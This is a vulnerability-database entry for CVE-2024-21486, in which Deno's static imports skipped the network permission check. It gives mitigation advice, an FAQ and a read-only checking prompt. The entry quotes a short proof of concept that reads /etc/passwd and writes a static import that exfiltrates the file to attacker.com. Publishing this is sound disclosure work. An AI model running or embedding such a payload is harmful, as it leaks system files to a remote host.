# CVE-2024-21486: Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** MEDIUM
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Unknown
- **CWE:** CWE-200
- **Aliases:** GHSA-jv4x-jv3h-qff5
- **Published:** 2025-06-05T01:21:08.000Z
- **Modified:** 2025-06-05T01:42:32.714Z

## Who should check

- Projects that depend on crates.io package deno (\< 2.0.0)

## Description

\#\#\# Summary

Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.

\#\#\# Details

Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with \`deno run\`:

1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.
2. When \`--allow-write\` and \`--allow-read\` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.

\#\#\# PoC

\`\`\`ts
const \_\_filename = new URL("", import.meta.url).pathname;
let oldContent = await Deno.readTextFile(\_\_filename);
let passFile = await Deno.readTextFile("/etc/passwd");
let pre =
  'import {foo} from "\[https://attacker.com?val=\](https://attacker.com/?val=)' +
  encodeURIComponent(passFile) + '";\\n';
await Deno.writeTextFile(\_\_filename, pre + oldContent);
\`\`\`

Executing a file containing this payload twice, with \`deno run --allow-read --allow-write\` would cause the password file to leak on the network, even though no network permission was granted.

This vulnerability was fixed with the addition of the \`--allow-import\` flag: https://docs.deno.com/runtime/fundamentals/security/\#network-access

## Affected and fixed versions

- crates.io `deno`: affected \< 2.0.0; fixed 2.0.0 (osv)

## Mitigation

- Upgrade deno to 2.0.0 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2024-21486. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2024-21486.md
Affected: deno < 2.0.0
Fixed in: 2.0.0

Steps:
1. Search this machine and project for deno (crates.io): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2024-21486 being exploited?

There is no confirmed exploitation: CVE-2024-21486 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2024-21486?

It has no CVSS score yet. Unknown.

### Which versions are affected by CVE-2024-21486?

deno \< 2.0.0.

### Is there a fix for CVE-2024-21486?

Yes. Fixed in 2.0.0. Upgrade deno to 2.0.0 or later.

### How do I check if I'm affected by CVE-2024-21486?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5>
- other: <https://github.com/denoland/deno>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/GHSA-jv4x-jv3h-qff5> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2024-21486> · JSON: <https://flawdb.com/api/v1/entries/CVE-2024-21486>
